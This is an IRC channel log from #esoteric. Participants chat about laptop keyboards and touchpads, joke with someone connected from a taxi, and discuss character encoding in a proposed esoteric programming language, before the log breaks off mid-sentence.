1267800049 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :enable arrows? < 1267800051 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what? < 1267800065 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :don't you have arrow keys by default? < 1267800066 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also, are you /sure/ fn-3/4 works? < 1267800068 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: u8ok for arrows < 1267800070 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I see no feedback whatsoever < 1267800075 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: it does on Ubuntu, I'm not sure on Windows < 1267800079 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :although, I think I bound those myself < 1267800080 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: numpad arrows < 1267800083 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267800089 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :maybe it just does it silently < 1267800096 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :system|preferences|keyboard shortcuts < 1267800109 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what colour is yours? to go on to the most inane subject of this laptop < 1267800116 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :mine's red, that's all they had though < 1267800117 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, does it have a separate numpad or such? Or why is a numpad even useful on a laptop < 1267800127 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :but it correctly detects fn-3 as XF86AudioLowerVolume, fn-4 as XF86AudioRaiseVolume < 1267800131 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: some programs require numpad < 1267800131 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It's part of the alphanum part < 1267800136 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267800137 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: mine's black, but the packaging said it was red < 1267800143 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Also, for e.g. spreadsheet number entry < 1267800151 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And if you like that way of movement < 1267800155 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :inc. home,end,pgup,pgdown etc < 1267800157 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :btw my thinkpad as NmLk on Fn-ScrLk < 1267800161 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which is quite strange < 1267800169 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: lol < 1267800176 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ScrLk is surely even more seldomly used? < 1267800177 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's not a shiny red which is nice < 1267800194 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: so you can scroll look on boot, I guess < 1267800203 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :where Fn doesn't work < 1267800207 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :scroll lock is actually kind-of useful in Excel < 1267800209 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, hm I think fn works there < 1267800220 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :are you sure? < 1267800221 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, since fn itself generates no key event < 1267800234 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :ooh, fn-f9 seems to be implemented in hardware < 1267800241 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :that's the key combo to turn the touchpad on/off < 1267800245 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :could be useful when typing < 1267800248 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, and Fn-PgUp (turn on keyboard light thingy above screen) doesn't generate any key event (other Fn+* generates key events) < 1267800255 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but that is one key event for fn+whatever < 1267800261 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not one for fn and one for whatever < 1267800281 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: but I'm used to mouse-based OSs, so I'd be hitting it every few seconds < 1267800288 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :admittdly myabe not as much, because the trackpad is kind of crap < 1267800290 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*maybe < 1267800298 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so I'll probably adapt < 1267800298 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*admittedly < 1267800314 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Its complete silence most of the time freaks me out to no end < 1267800319 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, alas, that is one thing annoying me, there is a turn touchpad off thingy for mine. But under linux that disables touchpad, touchpad buttons, and *trackpoint buttons* < 1267800323 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :TALK TO ME COMPUTER < 1267800328 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :only the trackpoint itself is left enabled < 1267800333 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :making it completely useless < 1267800342 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(I want to have the trackpoint buttons left enabled of course! < 1267800345 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :) < 1267800349 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Bind'em to some key combo :P < 1267800359 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: you use it while typing, to avoid clicking by mistake < 1267800380 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, yes but hitting the buttons for the trackpoint is rather hard < 1267800405 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, the issue I have is "palm on touchpad" < 1267800413 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not "palm on trackpoint buttons" < 1267800423 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :for me, it's the base of the thumb < 1267800444 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, yes, base of thumb/palm, somewhat the overlap < 1267800448 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: I like how there's a ridge on the caps lock key, except the keys are so flat anyway that it doesn't stop any mistakes whatsoever < 1267800449 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm surprised by how thin and light this thing is for the price < 1267800450 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Probably as thin as a MacBook < 1267800465 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, fiddling with the palm detection setting in the synaptics config tool helped somewhat < 1267800488 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: yes, heh < 1267800501 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :are you planning to swap caps lock and control? I haven't, maybe I should < 1267800503 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, that ridge: same on mine < 1267800503 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :All in all I'm rather happy with my first venture into laptop-land, and PC-laptop-land at that. < 1267800535 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, at least the windows key is quite flat < 1267800536 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Why does every single key have a tiny ridge, I wonder? < 1267800537 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I might just disable caps lock entirely < 1267800538 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yes, but even moreso on this laptop: The key travel is <10mm < 1267800539 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm sure < 1267800539 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :More like 5? < 1267800541 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and not as horrible as on desktop keyboards < 1267800546 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Totally flat here. < 1267800547 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, ah... < 1267800576 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: probably to make them easier to separate after manufacturing them < 1267800581 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Apparently this thing is designed for the thin/light/battery sort of market < 1267800583 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So it's rather flat all over < 1267800595 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and I'm used to a key travel that small; it feels like a lot of effort to push keys on a desktop < 1267800603 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you can still feel the travel, even though it's a small one < 1267800640 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, the diff here is maybe 1-2 mm for the ridge thingy. Key travel is... uh about twice the height of the key cap itself. That is when I press down the key fully, the top of it is roughly at the same level as the lower edge of the key caps around it < 1267800642 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yes, but I've used a scissor-switch board and even that had more key travel < 1267800646 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(It was almost flat itself) < 1267800650 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which would make it 5 mm maybe? < 1267800650 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :even the other laptops I tried had much more travel < 1267800652 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm not complaining; it's just weird. < 1267800658 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :maybe 6-7? < 1267800678 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in any case, it is quite okay to type on if you are used to a full size pc keyboard < 1267800698 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1267800707 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :This thing doesn't even travel the depth of the very thin keycaps < 1267800709 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*keycap < 1267800711 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I bet any less travel and you couldnt < 1267800713 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :make it reliable < 1267800723 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1267800763 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, are the main area of the keys (alphanumeric, shift, enter, backspace, tab, caps lock) "full sized"? < 1267800778 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well apart from height of course < 1267800795 0 :oklopol!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267800822 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also I don't get how anyone can live with less than 15" on a laptop that is used for extended periods... < 1267800831 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean, 15" is somewhat cramped < 1267800916 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The screen on this thing is very nice despite being glossy. < 1267800916 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm using it in sunlight now and it's completely legible < 1267800949 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :laptop screens tend to work rather nicely in sunlight, I find < 1267800962 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I use 11", and have for months < 1267801001 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, I know < 1267801016 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION considers a toughbook
< 1267801026 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :of course it wouldn't be really nice to use < 1267801031 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but it would last forever < 1267801178 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267801366 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :*.net *.split < 1267801692 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1267801717 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1267802667 0 :Yda-84!~Yda-84@77.106.114.179 JOIN :#esoteric < 1267802701 0 :Yda-84!unknown@unknown.invalid PRIVMSG #esoteric :O:-) < 1267802705 0 :Yda-84!unknown@unknown.invalid PART #esoteric :? < 1267803068 0 :cbrowne!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1267803669 0 :cpressey!~CPressey@173-9-215-173-Illinois.hfc.comcastbusiness.net JOIN :#esoteric < 1267803893 0 :alise!~95fee04b@gateway/web/freenode/x-syskmuqwaudpazxe JOIN :#esoteric < 1267803908 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :IRCing from inside a taxi: The most unreliable activity ever. < 1267803918 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I wonder if this connection is even still working after the five seconds I've ben connectd. < 1267803921 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*been, *connected < 1267803925 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Someone pong. < 1267803930 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise pong < 1267803934 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Woot. < 1267803974 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Typing is not the easiest thing < 1267804045 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yay! "Inside a taxi" is the second best thing to "A truckstop outside El Paso". < 1267804046 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But nerdery must transcend such petty constraints AAH GOD A CORNER < 1267804059 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :where are you going alise? < 1267804060 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :This taxi never stops. I am constantly in motion! < 1267804088 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Heh, ten points if you get a passer-by at a red traffic light to type somehting < 1267804091 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i.e., perpetually motivated! < 1267804091 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Take that, physics! < 1267804126 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh god dammit bumpy road < 1267804126 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :badoing badgoin badoing < 1267804126 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hiato: :D < 1267804159 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :alise: so that's a "there're no traiffic lights where I am" then? < 1267804162 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i forsee people living entirely in gigantic housecars in the future < 1267804162 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i can see no issues with this < 1267804176 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :save bathing < 1267804213 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :there are traffic lights but :P < 1267804213 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also, how on earth will bathing be a problem? >_> < 1267804213 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :there are NO. ISSUES aaaah god corner < 1267804240 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :my point exactly < 1267804246 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i sort of hvae a hard time using the entire keyboard while cornering... < 1267804285 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :shut UP < 1267804285 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also, hi we missed you < 1267804285 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(i am ehird) < 1267804295 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :now imagine your laptop to be a concave vessel, somewhat like a bathtub, but more like a laptop in apperance, less so in function. Now imagine that vessel full of water. Then, cue a red traffic light or an innocent stone in the road < 1267804307 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :alise: oh, heh, hi - wow, been a while :) < 1267804321 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :SUP ESOFAGS < 1267804348 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Banks' non-Culture Against a dark background novel has (in a very minor part, just barely a mention) these things called "rest mobiles" that sound a bit like that, except that people just (seem to) use them for rest stops when traveling long distances over roads, as opposed to permanent places of habitation. < 1267804376 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: [citation needed] < 1267804379 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :shut up augur hi < 1267804380 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hiato: i see no issues < 1267804387 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: ;) < 1267804392 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :except that if you want to use the water as a keyboard aaah corner < 1267804399 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: you're turning into pthag < 1267804403 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then it might not be very tactile < 1267804413 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :augur I doubt that somehow < 1267804417 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :OR ARE YOU PTHAG?! < 1267804426 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :augur, is shut up not a valid sentiment? < 1267804432 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pthong < 1267804434 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no. < 1267804437 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :pthong :D < 1267804442 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :almost there bye guys < 1267804451 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :pthag in a pthong < 1267804458 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :bye alise < 1267804470 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :alise: What I'm trying to eventually get to would be the need to start slowing down from the massive top speed of 60 (which is massive, when you consider the vehicle to be a house, or visa versa) about ten minutes prior to when you needed to stop, to avoid spillage (spilage/spiling/spillery and friends) < 1267804474 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: banks! < 1267804476 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :hiato: "She rendezvoused with a rest-mobile, ramping up into the echoing parking hold of the Air Cushion Vehicle and leaving the car for refuelling while she stretched her legs." (And later she sleeps and eats breakfast on one; then they're not mentioned again.) < 1267804499 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Project Gutenburg? < 1267804511 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :hiato: No, just illegal ebook warez nastiness. < 1267804511 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION gives +100 points to fizzie for an actual citation
< 1267804534 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Do you deduct points for the source being of dubious legality?-) < 1267804546 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I do now < 1267804570 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: im making a videogame with OCPs :D < 1267804570 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :but then again, it depends from whom exactly you stole < 1267804658 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :if it's from me, -1000000000000000.6, if not, S.E.P < 1267804692 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I doubt you would have received any royalties from that. I don't exactly know where it came from; it was on this CD. < 1267804698 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1267804705 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :== S.E.P < 1267804719 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Someone has written "v1.0 (17-mar-01) Scanning, layout and quick proofing by 4i Publications" on top of it. < 1267804759 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :again, S.E.P. Industrial book-spy perhaps? It's all the rage these days < 1267804869 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :what happened to ais523? < 1267804875 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I'm here < 1267804880 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :just under a different nick < 1267804884 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Aha, also did the shuffle < 1267804902 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and "ais523" still pings me < 1267804922 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :really? nice < 1267804937 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you can configure many IRC clients to ping on all sorts of words < 1267804942 0 :oklopol!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1267804943 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :mine pings on things like "ais523" and "INTERCAL" < 1267804948 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :baha < 1267804967 0 :oklopol!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267804973 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yeah, I guess I never did do man irssi < 1267805004 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :well, good to know that the comunity is still here, mostly < 1267805030 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I use Konversation < 1267805030 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :hi oklocork < 1267805049 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :oklopoke I :((( < 1267805077 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I looked up the solution to a problem I was doing and the answer was something I should have been able to do ;( < 1267805088 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oklopol :D < 1267805092 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION huggles okl
< 1267805304 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :augur < 1267805310 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :d you have an ifile.it account < 1267805326 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : oh god dammit bumpy road <-- I sure hope he has "disk head parks itself based on accelerometer" < 1267805346 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: the Toshiba Satellite has an incredibly sensitive disk-parker < 1267805351 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, oh? < 1267805359 0 :MizardX-!~MizardX@81-237-250-33-no147.tbcn.telia.com JOIN :#esoteric < 1267805360 0 :MizardX-!unknown@unknown.invalid QUIT :Changing host < 1267805361 0 :MizardX-!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1267805363 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it seems like every ten seconds it parks itself, then pops up a little dialog box to let you know it parked < 1267805369 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I'm not sure if it does that under Linux too, btw < 1267805372 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267805380 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :at least, no dialog box, so I don't know if it's parking < 1267805393 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, for thinkpads it needs an user space daemon < 1267805405 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which is somewhat irritating as it causes rapid wakeups for polling < 1267805431 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I avoid using my thinkpad when moving instead. Always use it on a sturdy table < 1267805434 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :anyway, he was on webchat, and therefore presumably Windows, and therefore using the autopark < 1267805466 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, I guess that wasn't meant as a far fetched joke? < 1267805472 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :no < 1267805475 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(autopark -> automobile park) < 1267805476 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I was being serious < 1267805478 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(and in a taxi) < 1267805495 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :no pun intended; in fact, even after your explanation, I don't think there was a pun there < 1267805498 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :anyone care to look at this and then provide some feedback as to how I'd make this language more self-complete, that is, you should be able to emulate (mostly) an arbitrary piece of the language with other pieces. that means you cant natively have if's, while's and so on, but I'm stuck on argument parsing to methods (though tecnically anonymous methods need not be there and would solve my problem) < 1267805505 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :http://dpaste.com/168356/ < 1267805506 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, very far fetched one < 1267805530 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION looks
< 1267805548 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1267805567 0 :MizardX-!unknown@unknown.invalid NICK :MizardX < 1267805616 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :oh, and if you do look, ignore the code at the end, as that all depends on how arguments are parsed (if at all) < 1267805630 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hiato: wow, that's a confusing language < 1267805639 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267805644 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I applaud you for not just making more BF-derivatives, like most people do < 1267805657 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I'll be happy to shed some light though < 1267805659 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :thanks :) < 1267805662 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION made one hates ipile
< 1267805775 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, for cell.(Q) better specify charset < 1267805805 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, or would it use the native one? Say EBCDIC on such a machine? < 1267805851 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I'm not sure I understand what you mean? In this case, cell.(Q) is using Q as a literal, base 10 number < 1267805860 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :cell.X, however, could be confusing < 1267805870 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, so how does " "$()" is equivalent to 2369577 through this system" work? < 1267805877 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, how is that encoded? < 1267805879 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ASCII? < 1267805884 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Heh, figured it was vague < 1267805884 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yep < 1267805888 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if so that should be explicitly mentioned < 1267805900 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :encode as ASCII, then take those bytes as a standard number < 1267805907 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :ok, thanks, will mark that < 1267805913 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, why not UTF-8? < 1267805935 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, otherwise how would you encode a cell named å←→µ < 1267805940 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :For simplicity, really, but there is no real reason. Though, I guess it will also inflate the nubmers significantly < 1267805944 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :true, fair enough < 1267805967 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, for UTF-8, the lower 127 ASCII bytes would encode the same way < 1267805987 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :only some other things, such as that example would encode larger < 1267805988 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :though the argument could go that å##µ is merely a sequence of bytes that when grouped to the nearest 8 bits, would still yield a number that is unique for that string < 1267805992 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wait < 1267805997 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267806001 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it would work in fact < 1267806012 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, that wasn't ## in the middle < 1267806014 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that was like: < 1267806016 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :<--> < 1267806033 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :I know, but I forget what key makes those arrows :P < 1267806051 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :and I'm currently not using a utf8 charset in xterm < 1267806059 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, AltGr+[yUui] < 1267806086 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Ah, right < 1267806110 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :(though still produces a #) < 1267806117 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, yet you found å without iussues, which I thought was hard to type outside Scandinavia plus a few countries < 1267806189 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :Colemak ;) < 1267806206 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1267806283 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :as for the language itself, while handy, do you think that the ability to parse Message -> Anonymous Method -> Destination is needed? < 1267806303 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hiato, what does that do < 1267806308 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I haven't read the whole spec < 1267806312 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :if so, how would I 